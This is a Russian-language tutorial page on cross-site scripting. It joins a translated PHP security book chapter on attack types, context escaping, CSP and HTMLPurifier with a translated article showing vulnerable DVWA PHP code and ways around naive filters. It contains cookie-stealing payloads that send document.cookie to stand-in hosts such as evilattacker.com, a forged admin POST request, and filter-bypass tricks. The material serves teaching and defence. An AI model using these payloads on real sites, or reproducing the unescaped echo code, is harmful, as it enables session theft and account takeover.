Межсайтовое выполнение сценариев это

Книга «Безопасность в PHP» (часть 1) Книга «Безопасность в PHP» (часть 2) Межсайтовый скриптинг (XSS) — пожалуй, самый типичный вид уязвимостей, широко распрост...

Книга «Безопасность в PHP» (часть 1)
Книга «Безопасность в PHP» (часть 2)

Межсайтовый скриптинг (XSS) — пожалуй, самый типичный вид уязвимостей, широко распространённых в веб-приложениях. По статистике, около 65 % сайтов в той или иной форме уязвимы для XSS-атак. Эти данные должны пугать вас так же, как пугают меня.

Что такое межсайтовый скриптинг?

XSS-атака происходит, когда злоумышленник получает возможность внедрить скрипт (зачастую JavaScript) в страницу, выдаваемую веб-приложением, и выполнить его в браузере клиента. Обычно это делается с помощью переключения контекста данных HTML в скриптовый контекст, чаще всего — когда внедряется новый код HTML, Javascript или CSS-разметка. В HTML достаточно мест, где можно добавить в страницу исполняемый скрипт, а браузеры предоставляют немало способов сделать это. Любые входные данные веб-приложения, например параметры HTTP-запросов, способны внедрить код.

Одна из проблем, связанных с XSS, — постоянная недооценка со стороны программистов, нетипичная для уязвимостей такого серьёзного уровня. Разработчики зачастую не представляют себе степень угрозы и обычно строят защиту, основанную на неверных взглядах и плохих подходах. Особенно это касается PHP, если код пишут разработчики без достаточных умений и познаний. Кроме того, реальные примеры XSS-атак выглядят простыми и наивными, так что изучающие их программисты считают свою защиту достаточной, пока она их устраивает. Нетрудно понять, откуда взялись 65 % уязвимых сайтов.

Если злоумышленник может внедрять в веб-страницы JavaScript и исполнять его, то он способен выполнить любой JavaScript в браузере пользователя. И это даёт полный контроль. Ведь с точки зрения браузера сценарий был получен из веб-приложения, которое автоматически считается надёжным источником.

Поэтому хочу напомнить: любые данные, которые не были созданы самим PHP для текущего запроса, ненадёжны. Это распространяется и на браузер, работающий отдельно от веб-приложения.

Браузер доверяет всему, что он получает от сервера, и это одна из главных причин межсайтового скриптинга. К счастью, проблема решаема, о чём мы поговорим ниже.

Мы можем применить этот принцип еще шире, к самой среде JavaScript-приложения в браузере. Клиентский JavaScript-код варьируется от очень простого до чрезвычайно сложного, часто это отдельное клиентское веб-приложение. Такие приложения стоит защитить не хуже любых других. Они не должны доверять данным, полученным из удалённых источников (в том числе от приложения на сервере), применяя проверку и убеждаясь, что выводимое в DOM содержимое корректно экранируется или обрабатывается.

Внедрённые скрипты могут быть использованы для самых разных задач. Это:

  • кража кук и данных авторизации,
  • выполнение HTTP-запросов от имени пользователя,
  • перенаправление пользователей на заражённые сайты,
  • получение доступа на чтение и изменение локальных хранилищ браузера,
  • выполнение сложных расчётов и отправка результатов на сервер злоумышленника,
  • применение эксплойтов к браузеру и загрузка зловредов,
  • эмулирование активности пользователя для кликджекинга,
  • перезапись или получение контроля над приложениями браузера,
  • атаки на расширения браузера —

и т. д., продолжать можно до бесконечности.

Подмена интерфейса (UI Redress, clickjacking)

В то время как прямая атака на сервер полностью самостоятельна, кликджекинг неразрывно связан с межсайтовым скриптингом, так как использует подобные наборы векторов для атаки. Иногда их сложно различить, потому что одна методика атаки помогает успешному выполнению другой.

Подменой интерфейса называется любая попытка атакующего изменить пользовательский UI веб-приложения. Это позволяет атакующему внедрять новые ссылки, новый HTML-код, чтобы изменить размеры, скрыть/перекрыть оригинальный интерфейс и т. д. Если такая атака выполняется для обмана пользователя, чтобы он нажал на внедрённую ссылку или кнопку, тогда обычно её относят к кликджекингу.

Большая часть этой главы посвящена подмене интерфейса с помощью XSS. Однако есть и другие способы подмены, когда для внедрения используются фреймы. Подробнее мы рассмотрим это в главе 4.

Пример межсайтового скриптинга

Давайте представим, что злоумышленник наткнулся на форум, который позволяет пользователям отображать небольшую подпись под своими комментариями. Злоумышленник создаёт учетную запись, спамит во всех темах в пределах досягаемости, применяя следующую подпись к своим сообщениям:

<script>document.write('<iframe src="http://evilattacker.com?cookie='
    + document.cookie.escape() + '" height=0 width=0 />');</script>

Каким-то чудом движок форума включает эту подпись во все заспамленные топики, и пользователи начинают загружать этот код. Результат очевиден. Злоумышленник внедряет в страницу элемент iframe, который будет отображаться как крошечная точка (нулевого размера) в самом низу страницы, не привлекая никакого внимания. Браузер отправит запрос на содержимое iframe, и в URI злоумышленника будут переданы значения кук каждого участника форума в виде GET-параметра. Их можно сопоставить и использовать для дальнейших атак. В то время как обычные участники злоумышленнику неинтересны, хорошо спланированный троллинг, несомненно, привлечёт внимание модератора или администратора, чьи куки могут оказаться очень полезными для получения административного доступа к форуму.

Это простой пример, но вы можете расширить его. Допустим, злоумышленник захочет узнать имя пользователя, ассоциированного с украденными куками. Легко! Достаточно добавить к URL злоумышленника код DOM-запроса, который вернёт имя и включит его в параметр username= GET-запроса. Или злоумышленнику понадобилась информация о браузере для обхода fingerprint-защиты сессии? Достаточно включить данные с navigator.userAgent.

У этой простой атаки много последствий. Например, можно получить права администратора и контроль над форумом. Поэтому нецелесообразно недооценивать возможности XSS-атаки.

Конечно, в этом примере в подходе злоумышленника есть изъян. Рассмотрим очевидный способ защиты. Все куки с конфиденциальными данными помечены флагом HttpOnly, который запрещает JavaScript доступ к данным этих файлов. В принципе, вы должны помнить, что если злоумышленник внедрит JavaScript, то этот скрипт сможет делать что угодно. Если у злоумышленника не вышло получить доступ к куке и провести атаку с её использованием, то он сделает то, что должны делать все хорошие программисты: напишет код для эффективной автоматизированной атаки.

 <script>
    var params = 'type=topic&action=delete&id=347';
    var http = new XMLHttpRequest();
    http.open('POST', 'forum.com/admin_control.php', true);
    http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    http.setRequestHeader("Content-length", params.length);
    http.setRequestHeader("Connection", "close");
    http.onreadystatechange = function() {
        if(http.readyState == 4 && http.status == 200) {
            // Do something else.
        }
    };
    http.send(params);
 </script>

Выше показан один из способов послать POST-запрос, удаляющий тему на форуме. Можно установить его срабатывание только для модератора (т. е. если имя пользователя где-то отображается, мы можем сравнить его со списком известных модераторов или обнаружить специальные стили, примененные к модератору).

Как следует из вышесказанного, HttpOnly-куки имеют ограниченное применение в защите от XSS. Они блокируют захват кук, но не предотвращают их использование во время XSS-атаки. Кроме того, злоумышленник предпочтёт не оставлять следов в видимой разметке, чтобы не вызывать подозрений, если он сам не хочет быть обнаруженным.

Типы XSS-атак

Атаки с помощью XSS можно классифицировать несколькими путями. Один из них — по способу попадания вредоносных входных данных в веб-приложения. Во входные данные приложения может быть включён результат текущего запроса, сохранённый для включения в последующий выходной запрос. Или данные могут быть переданы в DOM-операции на базе JavaScript. Таким образом, получаются следующие типы атак.

Отражённая XSS-атака

Здесь ненадёжные входные данные, отправленные веб-приложению, включаются сразу в выходные данные приложения, т. е. «отражаются» от сервера к браузеру в одном и том же запросе. Отражение бывает с сообщениями об ошибках, поисковыми материалами, предварительными просмотрами постов и т. д. Эта форма атаки может быть организована, чтобы убедить пользователя перейти по ссылке или отправить данные из формы злоумышленника. Чтобы заставить пользователя нажать на ненадёжные ссылки, иногда требуется социальная инженерия, атака подмены интерфейса или сервис сокращения ссылок. Социальные сети и сами сервисы сокращения ссылок особенно уязвимы для подмены URL-адресов с использованием сокращённых ссылок, поскольку такие ссылки — обычное явление на данных ресурсах. Будьте осторожны и внимательно проверяйте, на что нажимаете!

Хранимая XSS-атака

Когда зловредная полезная нагрузка где-то хранится и извлекается по мере просмотра данных пользователем, атаку относят к хранимым. Помимо баз данных, есть множество других мест, включая кеши и логи, которые тоже пригодны для долгосрочного хранения данных. Уже известны случаи атак с внедрением в логи.

XSS-атака на основе DOM

Атака на основе DOM может быть как отражённой, так и хранимой. Различие в том, на что направлена атака. Чаще всего пытаются сразу же изменять разметку HTML-документа. Однако HTML можно изменять и с помощью JavaScript, используя DOM. Успешно внедрённые в HTML элементы в дальнейшем могут быть использованы в DOM-операциях в JavaScript. Целями атак становятся также уязвимости в JS-библиотеках или их неправильное применение.

Межсайтовый скриптинг и контекст внедрения

XSS-атака успешна, если в ходе неё внедряется контекст. Термин «контекст» описывает то, как браузеры интерпретируют содержимое HTML-документа. Браузеры распознают ряд ключевых контекстов, включая HTML-код, атрибуты HTML, JavaScript, URL, CSS.

Цель злоумышленника — взять данные, предназначенные для одного из этих контекстов, и заставить браузер интерпретировать их в другом контексте. Например:

<div style="background:<?php echo $colour ?>;">

$colour заполняется из базы данных настроек пользователя, которые влияют на цвет фона для текстового блока. Значение вводится в контексте CSS, дочернем по отношению к контексту HTML-атрибута. То есть мы добавили CSS в атрибут style. Может показаться, что необязательно избегать такой ловушки с контекстом, но посмотрим на следующий пример:

$colour = "expression(document.write('<iframe src="
    .= "http://evilattacker.com?cookie=' + document.cookie.escape() + "
    .= "' height=0 width=0 />'))";

<div style="background:<?php echo $colour ?>;">

Если атакующий успешно внедрит этот colour, то он может внедрить CSS-выражение, которое выполнит определённый JavaScript в браузере Internet Explorer. Другими словами, злоумышленник сумеет переключить текущий контекст путём введения нового контекста JavaScript.

Посмотрев на предыдущий пример, некоторые читатели вспомнят об экранировании (escaping). Воспользуемся им:

$colour = "expression(document.write('<iframe src="
    .= "http://evilattacker.com?cookie=' + document.cookie.escape() + "
    .= "' height=0 width=0 />'))";

<div style="background:<?php echo htmlspecialchars($colour, ENT_QUOTES, 'UTF-8') ?>;">

Если вы проверите это в IE, то быстро обнаружите, что происходит что-то очень нехорошее. XSS-атака всё равно успешно работает — даже после экранирования с помощью функции htmlspecialchars(), чтобы избежать $colour!

Вот как важно правильно понимать контекст. Каждый контекст требует другого метода экранирования, потому что у каждого контекста свои специальные символы и разная необходимость в экранировании. Недостаточно повсюду разбрасываться функциями htmlspecialchars() и htmlentities() и молиться, чтобы ваше веб-приложение стало безопасным.

Что пошло не так в предыдущем примере? Что заставило браузер деэкранировать атрибуты HTML перед интерпретацией контекста? Мы проигнорировали тот факт, что необходимо экранировать два контекста.

Сначала CSS должен был экранировать $colour, и только затем — экранировать HTML. Это гарантировало бы, что $colour преобразован в правильный строковый литерал, без скобок, кавычек, пробелов и других символов, которые позволяют внедрить expression(). Не понимая, что наш атрибут охватывает два контекста, мы экранировали его, как если бы это был только один HTML-атрибут. Довольно распространённая ошибка.

Из этой ситуации можно вынести урок: контекст важен. При XSS-атаке злоумышленник всегда будет стараться прыгнуть из текущего контекста в другой, где можно исполнить JavaScript. Если вы способны определить все контексты в выходном потоке HTML с учётом их вложенности, значит, вы на десять шагов ближе к успешной защите веб-приложения от XSS.

Давайте рассмотрим ещё один пример:

<a href="http://www.example.com">Example.com</a>

Если не принимать во внимание ненадёжные входные данные, то этот код можно проанализировать следующим образом:

  1. Существует контекст URL, т. е. значение атрибута href.
  2. Есть контекст HTML-атрибута, т. е. родители контекста URL.
  3. Есть контекст тела HTML, т. е. текст внутри <a> тега.

Это три разных контекста. Так что понадобится до трёх способов экранирования, если источники данных будут определены как ненадёжные. В следующем разделе мы подробней рассмотрим экранирование в качестве защиты от XSS.

Защита от межсайтового скриптинга

Защититься от XSS возможно, но защита должна применяться последовательно, без исключений и упрощений, желательно с самого начала разработки веб-приложения, пока у всех в памяти свежи воспоминания о рабочем процессе. Внедрение защиты на более поздних этапах может быть дорогостоящим делом.

Проверка входных данных

Проверка ввода — только первая линия защиты веб-приложения. При таком типе защиты мы знаем лишь то, как сейчас используются ненадёжные данные, и на этапе получения данных не можем предсказать, где и как они будут дальше применяться. Сюда относятся практически все текстовые данные, так как мы всегда должны обеспечивать пользователю возможность написания кавычек, угловых скобок и других символов.

Проверка работает лучше всего благодаря предотвращению XSS-атак на данные, которым присущи предельные значения. Допустим, целое число не должно содержать специфические для HTML символы. Параметры, такие как название страны, должны соответствовать заранее заданному списку реальных стран, и т. д.

Проверка входных данных помогает контролировать данные с определённым синтаксисом. Например, допустимый URL-адрес должен начинаться с префикса http:// или https://, а не с гораздо более опасных конструкций javascript: или data:. По сути, все адреса, полученные из непроверенных входных данных, должны проверяться на наличие этих тегов. Экранирование URI javascript: или data: имеет такой же эффект, как экранирование легального URL-адреса. То есть вообще никакого эффекта.

Хотя проверка входных данных не может блокировать всю зловредную полезную нагрузку при XSS-атаке, она способна остановить наиболее очевидные типы атаки. Проверка входных данных подробно рассматривалась во второй части книги.

Экранирование (а также кодирование)

Экранирование данных на выходе позволяет гарантировать, что данные не будут ошибочно восприняты принимающим парсером или интерпретатором. Очевидные примеры — знаки «меньше» и «больше», которые обозначают HTML-теги. Если позволить этим символам быть вставленными из ненадёжных входных данные, злоумышленник сможет вводить новые теги, которые браузер будет отрисовывать. Обычно эти символы заменяются последовательностями > и $lt;.

Замена символов предполагает сохранение смысла экранированных данных. Экранирование просто заменяет символы, имеющие определённое значение, альтернативными. Обычно используется шестнадцатеричное представление или что-то более читабельное, например HTML-последовательности (если их применение безопасно).

Как упоминалось в главе о контекстах, способ экранирования зависит от того, какого типа содержимое внедряется. Экранирование HTML-кода отличается от экранирования JavaScript, которое, в свою очередь, отличается от экранирования адресов. Применение неверной экранирующей стратегии для определённого контекста способно привести к неэффективности защиты, к созданию уязвимости, которой может воспользоваться злоумышленник.

Для облегчения экранирования рекомендуется применять отдельный класс, разработанный с этой целью. PHP не может предоставить все необходимые экранирующие функции из коробки, а многое из предлагаемого не так безопасно, как считает большинство разработчиков.
Давайте рассмотрим правила экранирования, применяемые к наиболее распространённым контекстам: телу HTML, атрибутам HTML, JavaScript, URL и CSS.

Никогда не вводите данные, за исключением ввода из доверенных мест

Прежде чем изучать стратегии экранирования, необходимо убедиться, что шаблоны вашего веб-приложения не теряют (misplace) данные. Это относится к внедрению данных в чувствительные области HTML, которые дают злоумышленнику возможность влиять на порядок обработки разметки и которые обычно не требуют экранирования при использовании программистом. Рассмотрим примеры, где [… ] — это внедряемые данные:

<script>...</script>

<!--...-->

<div ...="test"/>

<... href="http://www.example.com"/>

<style>...</style>

Каждое из вышеперечисленных мест опасно. Разрешение данных в теге script, вне строковых и числовых литералов, позволяет при атаке внедрить JavaScript. Данные, помещённые в HTML-комментарии, могут быть использованы для запуска условных выражений (conditionals) Internet Explorer и для других непредвиденных действий. Следующие два места более очевидны, так как никто не позволил бы злоумышленнику влиять на свои теги или названия атрибутов — мы как раз пытаемся это предотвратить! Наконец, как и в случае со скриптами, мы не можем позволить злоумышленникам внедряться непосредственно в CSS, так как это даст возможность проводить атаки подмены интерфейса и выполнять скрипты, используя поддерживаемую в Internet Explorer функцию expression().

Всегда экранируйте HTML до внедрения данных в HTML-тело

Контекст HTML-тела ссылается на текстовое содержимое, которое заключено в теги. Например, текст между тегами <body>, <div> или любыми другими парными тегами для хранения текста. Данные, внедряемые в содержимое любых тегов, должны быть экранированы под HTML.

Экранирование HTML хорошо известно в PHP в виде функции htmlspecialchars().

Всегда экранируйте HTML-атрибуты до внедрения данных в их контекст

Контекст HTML-атрибута ссылается на все значения элемента, за исключением свойств, которые интерпретируются браузером как CDATA. Это исключение довольно запутанное, но в основном оно относится к HTML-стандартам, основанным не на XML, где JavaScript может включаться в атрибуты события в неэкранированном виде. Для всех других атрибутов у вас есть следующие два варианта:

  1. Если значение атрибута в кавычках, то вы МОЖЕТЕ использовать экранирование HTML.
  2. Однако если значение задаётся без кавычек, то вы ДОЛЖНЫ использовать экранирование HTML-атрибутов.

Также второй вариант применяется, когда правила приведения атрибутов могут быть неясными. Например, в HTML5 считается вполне допустимым использовать значения атрибутов без кавычек, и в реальных проектах уже встречается много примеров такого «умного» подхода. В любой непонятной ситуации действуйте с осторожностью.

Всегда экранируйте JavaScript до внедрения в значения данных

Значения данных в JavaScript в основном строковые. Поскольку вы не можете экранировать числа, есть дополнительное правило: всегда проверяйте валидность чисел…

Политика защиты контента

Ключевой элемент всех наших разговоров о межсайтовом скриптинге — то, что браузер без вопросов выполняет весь JavaScript-код, который получает от сервера, независимо от источника внедрения кода. При получении HTML-документа браузер не может узнать, какие из вложенных ресурсов безопасны, а какие нет. А если бы мы могли это изменить?

Политика защиты контента (CSP) — это HTTP-заголовок, передающий белый список надёжных источников ресурсов, которым браузер может доверять. Любой источник, не указанный в списке разрешённых, причисляется к ненадёжным и просто игнорируется. Рассмотрим следующее:

X-Content-Security-Policy: script-src 'self'

Этот заголовок CSP сообщает браузеру, что нужно доверять только тем адресам источника JavaScript, которые указывают на текущий домен. После браузер будет загружать скрипты из этого источника, но полностью игнорировать все остальные. Это означает, что http://attacker.com/naughty.js не загрузится, если злоумышленник каким-то образом сумеет его внедрить. Кроме того, все встроенные скрипты, например теги

Если нужно использовать JavaScript из другого источника, помимо исходного адреса, то мы можем включить его в белый список. Например, давайте добавим адрес CDN jQuery.

X-Content-Security-Policy: script-src 'self' http://code.jquery.com

Можно добавить другие директивы ресурсов, например путь к таблице CSS-стилей, разделив точкой с запятой директивы и разрешённые адреса.

X-Content-Security-Policy: script-src 'self' http://code.jquery.com; style-src 'self'

Формат значения заголовка очень прост. Значение состоит из директивы script-src, после которой идёт список разделённых пробелами источников, применяемый в качестве белого списка. Источником может быть ключевое слово в кавычках, такое как ‘self’, или URL. Значение URL-адреса сопоставляется с полученным списком. Информация, отсутствующая в URL, может быть свободно изменена в документе HTML. Указание http://code.jquery.com предотвращает загрузку скриптов с http://jquery.com или http://domainx.jquery.com, потому что мы явным образом задали разрешённые домены. Чтобы разрешить все поддомены, можно указать просто http://jquery.com. То же самое относится и к локальным путям, портам, URL-схемам и т. д.

Суть белого списка CSP проста. Если вы создадите список ресурсов конкретного вида, то всё, что в него не войдёт, не загрузится. Если вы не определите список для типа ресурсов, то браузер по умолчанию отбрасывает все ресурсы этого типа.

Поддерживаются следующие директивы ресурсов:

  • connect-src: ограничивает источники, к которым можно подключиться с помощью xmlhttprequest, веб-сокетов и т. д.
  • font-src: ограничивает источники для веб-шрифтов.
  • frame-src: ограничивает URL-адреса для фреймов.
  • img-src: ограничивает источники изображений.
  • media-src: ограничивает источники видео и аудио.
  • object-src: ограничивает источники для Flash и других плагинов.
  • script-src: ограничивает источники для файлов скриптов.
  • style-src: ограничивает источники для CSS.

Для задания безопасных стандартных параметров существует специальная директива default-src, с помощью которой можно изначально добавить в белый список ссылки для всех перечисленных категорий.

X-Content-Security-Policy: default-src 'self'; script-src 'self' http://code.jquery.com

Это позволит ограничить разрешённые ресурсы текущим доменом, но при этом также добавить исключение для скрипта jQuery. Такое использование сразу закрывает все ненадёжные источники и позволяет разрешать только те, которые считаются заведомо безопасными.

Кроме URL, разрешённым источникам можно назначить следующие ключевые слова, которые должны быть записаны в одинарных кавычках:

‘none’ ‘self’ ‘unsafe-inline’ ‘unsafe-eval’

Вы заметили слово unsafe, т. е. «небезопасно»? Лучший способ применения CSP — не выбирать подходы, которые выбирают злоумышленники. Они хотят внедрять inline-скрипты или другие ресурсы? Если мы сами избежим inline-применения, то наши веб-приложения могут приказать браузерам игнорировать всё inline-содержимое без исключения. Будем использовать внешние файлы скриптов и функции addEventListener() вместо атрибутов событий. Но раз вы придумываете для себя правило, то не обойтись и без нескольких полезных исключений, не так ли? Не так. Забудьте о любых исключениях. Включение параметра ‘unsafe-inline’ противоречит самой цели применения CSP.

Ключевое слово ‘none’ означает именно «ничего». Если установить его в качестве источника ресурса, то параметр заставит браузер игнорировать все ресурсы указанного типа. Это добавит вам мелких проблем, но я советую сделать что-то наподобие следующего примера, чтобы белый список вашего CSP всегда ограничивался только тем, что он разрешает явно:

X-Content-Security-Policy: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'

И последнее предостережение. Поскольку CSP — новое решение, вам потребуется дублировать заголовок X-Content-Security-Policy, чтобы убедиться, что его поймут и WebKit-браузеры, такие как Safari и Chrome. Подарок от WebKit для вас.

X-Content-Security-Policy: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'
X-WebKit-CSP: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'

Определение браузера пользователя

Очистка HTML

В какой-то момент веб-приложение столкнётся с необходимостью включать задаваемый извне HTML-код в свою веб-страницу без применения к нему экранирования. Наглядные примеры: цитирование сообщений на форуме, комментарии в блоге, формы редактирования и записи из RSS или Atom. Если такие данные подвергнуть экранированию символов, то они будут искажены и испорчены, поэтому вместо экранирования здесь приходится тщательно фильтровать данные, чтобы убедиться, что все опасные элементы устранены.

Вы заметили, что я написал об HTML-коде «задаваемый извне», а не «создаваемый извне»? Множество веб-приложений позволяют пользователям вместо HTML-разметки включать такие альтернативы, как BBCode, Markdown или Textile. Распространённая ошибка в PHP — мнение, что эти языки разметки предотвращают XSS-атаки. Полный бред. Цель этих языков — позволить пользователям проще и легче создавать форматированный текст, обходясь без работы с HTML. Не все знают HTML, да и сам этот язык не в точности соответствует своим SGML-корням. Вручную создавать длинные блоки форматированного текста в HTML — долго и мучительно.

HTML из таких входных данных генерируется на сервере. Это подразумевает под собой доверительные операции, само доверие к которым — распространённая ошибка. Получаемый в результате таких операций HTML по-прежнему «заданный извне». Мы не можем считать его безопасным. Это более очевидно на примере ленты блога, чьи записи ещё до момента генерирования являются валидным HTML.

Рассмотрим следующий фрагмент кода:

[url=javascript:alert(‘I can haz Cookie?n’+document.cookie)]Free Bitcoins Here![/url]

BB-код ограничивает HTML по умолчанию, но это не даёт абсолютной неуязвимости. Например, большинство генераторов не заметят использования HTTP URL’ов и пропустят их. Выделение Markdown:

I am a Markdown paragraph.<script>document.write(‘<iframe src=”http://attacker.com?cookie=‘ + document.cookie.escape() + ‘” height=0 width=0 />’);</script>

There’s no need to panic. I swear I am just plain text!

Markdown — популярная альтернатива для написания HTML, но он также позволяет авторам смешивать HTML с Markdown. Это действительно так, генераторы Markdown не обращают внимания на включённую XSS-нагрузку.

Очевидно, необходимо применять комплекс мер по экранированию HTML независимо от того, какой тип разметки мы собираемся включать в выходной поток приложения после того, как завершено генерирование и прочие операции. Никаких исключений. Входные данные остаются ненадёжными, пока мы не обработали их и не убедились в их безопасности.

Очистка HTML — это трудоёмкий процесс парсинга входных данных, применения списка разрешённых элементов, атрибутов и других необходимых вещей. Занятие не для слабонервных, здесь очень легко ошибиться, а сам PHP страдает от множества небезопасных библиотек, авторы которых утверждают, что всё делают правильно. Поэтому не выбирайте «модные» решения, пишите их самостоятельно.

Единственная библиотека в PHP, которая действительно выдаёт безопасный HTML, — HTMLPurifier. Она активно поддерживается, в значительной степени проверена, и я настоятельно рекомендую её. С HTMLPurifier достаточно просто работать, по сути, требуется только задать разрешённые элементы:

// Basic setup without a cache
$config = HTMLPurifier_Config::createDefault();
$config->set('Core', 'Encoding', 'UTF-8');
$config->set('HTML', 'Doctype', 'HTML 4.01 Transitional');
// Create the whitelist
$config->set('HTML.Allowed', 'p,b,a[href],i'); // basic formatting and links
$sanitiser = new HTMLPurifier($config);
$output = $sanitiser->purify($untrustedHtml);

Не используйте другие библиотеки в качестве HTML-обработчиков, если не уверены в том, что делаете.

Внешняя защита приложения

[Продолжение следует]

Источник

XSS – это тип уязвимости программного обеспечения, свойственный Web-приложениям, который позволяет атакующему внедрить клиентский сценарий в web-страницы, просматриваемые другими пользователями

Автор: Ahmed Elhady Mohamed
Перевод: www.SecurityLab.ru

Введение

В Wikipedia содержится следующее определение для XSS: «Межсайтовый скритинг (XSS) – это тип уязвимости программного обеспечения, свойственный Web-приложениям (путем обхода ограничений безопасности браузера)», который позволяет атакующему внедрить клиентский сценарий в web-страницы, просматриваемые другими пользователями. Уязвимость межсайтового скриптинга может использоваться атакующим для обхода таких механизмов безопасности как политика единства происхождения. Согласно данным Symantec за 2007 год, XSS уязвимости составили 80.5% от общего числа брешей, обнаруженных на сайтах. Рейтинг опасности таких уязвимостей может варьироваться в зависимости от важности данных, хранящихся на уязвимом сайте и существующих механизмов защиты».
Вкратце, XSS или CSS (Cross-site Scripting, аббревиатура, которая также означает Cascading Style Sheets – таблицы каскадных стилей) является довольно распространенной уязвимостью среди Web-приложений. XSS позволяет атакующему внедрить вредоносный код на страницу и отправить его обратно в браузер пользователя, где этот код будет выполнен. Причиной этому являются доверительные отношения разработчика приложения к входным данным или некорректная фильтрация входных данных.

XSS опасен

XSS действительно является уязвимостью высокой степени опасности, поскольку она может использоваться для изменения DOM-модели сайта, что в свою очередь позволит похитить учетных данных администратора сайта и получить полный контроль над уязвимым приложением.

Какие цели преследует атакующий?

  • Изменение настроек
  • Кража файлов куки
  • Размещение ложной рекламы
  • Хищение токенов форм для проведения CSRF атак
  • И другое, необходимо творчески подходить к эксплуатации XSS

Типы XSS

Существует три типа XSS уязвимостей:

  • Постоянный (хранимый) XSS
    • Вредоносный код храниться на сайте или сервере
  • Непостоянный (отраженный) XSS
    • Пользователю необходимо посетить специально сформированную ссылку
  • XSS в DOM-модели
    • Источник проблемы находится в клиентском сценарии

Далее мы подробно обсудим каждый их этих типов.

Постоянный (хранимый) XSS

Википедия характеризует хранимый XSS как наиболее разрушительный тип атак. Хранимый XSS возможен, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML формате без ограничений.
Другими словами, хранимый XSS возникает, когда разработчики осуществляют некорректную фильтрацию при сохранении входных данные в БД на сервере или в при записи этих данных в файлы, а затем выводят эти данные в браузер пользователю.

Демонстрация хранимого XSS

Ниже приведен пример PHP сценария, уязвимого к хранимому XSS:

<?php

if(isset($_POST['btnSign']))

{

$message=trim($_POST['mtxMessage']);

$name=trim($_POST['txtName']);

// Обработка введенного значения переменной message

$message = stripslashes($message);

$message = mysql_real_escape_string($message);

// Обработка введенного значения переменной name

$name = mysql_real_escape_string($name);

$query = "INSERT INTO guestbook (comment,name) VALUES (

'$message','$name');";

$result=mysql_query($query) or die('<pre>'.mysql_error().'</pre>');

}

?>

В коде не осуществляется корректная обработка параметров “message” и “name” перед сохранением данных в таблицу guestbook. Таким образом, при выводе этих данных в браузер пользователя существует возможность выполнение вредоносного JavaScript кода.

В демонстрационных целях при попробуем проэксплуатировать эту уязвимость на примере DVWA.

После отправки этой формы можем посмотреть на выполнение нашего JavaScript кода:

Непостоянный (отраженный) XSS

Согласно Wikipedia, непостоянный XSS является наиболее распространенным типом XSS. Непостоянный XSS имеет место, когда данные, предоставляемые Web-клиентов в строке запроса или HTML форме, используются для генерации ответа клиенту без обработки этих данных.

Демонстрация отраженного XSS

Ниже приведен пример кода, уязвимого к отраженному XSS:

<?php

if(!array_key_exists("name",$_GET) | |$_GET['name'] == NULL || $_GET['name']==''){

$isempty=true;

}

else{

echo '<pre>';

echo 'Hello' . $_GET['name'];

echo '</pre>';

}

?>

Как видно из примера, очистка данных не осуществляется для параметра “name” перед его выводом в браузера пользователя. Таким образом, если в него внедрить JavaScript сценарий, это сценарий будет выполнен.

Мы воспользуемся приложением DVWA для демонстрации этой уязвимости:

Давайте внедрим код “<script>alert(“xss”);</script>” в элемент формы:

XSS в DOM-модели

Согласно Wikipedia, XSS в DOM-модели возникает на стороне клиента во время обработки данных внутри JavaScript сценария. Данный тип XSS получил такое название, поскольку реализуется через DOM (Document Object Model) — не зависящий от платформы и языка программный интерфейс, позволяющий программам и сценариям получать доступ к содержимому HTML и XML-документов, а также изменять содержимое, структуру и оформление таких документов.

Таким образом, XSS возникает непосредственно внутри JavaScript сценария. Примером к этой уязвимости может служить сценарий, который получает данные из URL через location.* DOM или посредством XMLHttpRequest запроса, и затем использует их без фильтрации для создания динамических HTML объектов.

Демонстрация XSS в DOM-модели

Для примера мы воспользуемся сценарием, который позволяет пользователю выбрать язык интерфейса. Язык по умолчанию передается посредством URL в параметре “default”. Обработка языка интерфейса осуществляется следующим образом:

<select>

<script>

document.write("<OPTION value=1>"+document.location.href.substring

(document.location.href.indexOf("default=")+8)+"</OPTION>");

document.write("<OPTION value=2>English</OPTION>");

</script>

</select>

Доступ к этой странице осуществляется по следующему адресу: http://www.some.site/page.html?default=French

Для эксплуатации XSS уязвимости в DOM-модели мы выполним следующий запрос:

http://www.some.site/page.html?default=<script>alert(document.cookie)</script>

Исходный JavaScript сценарий не ожидает, что входные данные могут содержать HTML код, поэтому просто выводит их на странице. Затем браузер обрабатывает этот код и выполняет сценарий alert(document.cookie).

Теперь давайте рассмотрим некоторые методы эксплуатации уязвимостей межсайтового скриптинга.

Методы эксплуатация XSS

Далеко не все методы фильтрации помогают защитить сайт от XSS. Ниже мы рассмотрим самые популярные варианты фильтрации данных и техники обхода таких фильтров.

Метод 1: замена «<script>» на пустую строку

Ниже приведен код, который, несмотря на фильтрацию, уязвим к XSS.

<?php
if(!array_key_exists («name», $_GET) || $_GET[‘name’] == NULL || $_GET[‘name’] == »){
$isempty = true;
} else {
echo ‘<pre>’;
echo ‘Hello ‘ . str_replace(‘<script>’, », $_GET[‘name’]);
echo ‘</pre>’;
}
?>

В сценарии проверяется соответствие строке «<script>» в нижнем регистре. Самый распространенный метод обхода такой фильтрации состоит в замене строки «<script>» строкой «<SCRIPT>». Так, изменив регистр, можно обойти описанную фильтрацию.

Также есть еще один способ обойти такую фильтрацию:

<script type=text/javascript>alert(«XSS»)</script>

Стоит отметить, что использование alert(“XSS”) для тестирования XSS нежелательно, поскольку большинство сайтов блокируют сценарии по ключевому слову «XSS».

Метод 2: использование magic quotes

Применяя этот метод, разработчик использует фильтрацию функции «addslashes()» языка PHP, которая добавляет символ «» перед любым специальным символом. Таким образом, код, написанный на JavaScript, не будет выполнен.

Существует несколько способов обойти такую фильтрацию. Остановимся на двух из них.

  1. Самый простой способ обойти такой фильтр – не использовать кавычки. Например, присваивать значение переменной, а затем выполнять эту переменную, что продемонстрировано в этом коде: <script>var val= 1; alert(val)</script>
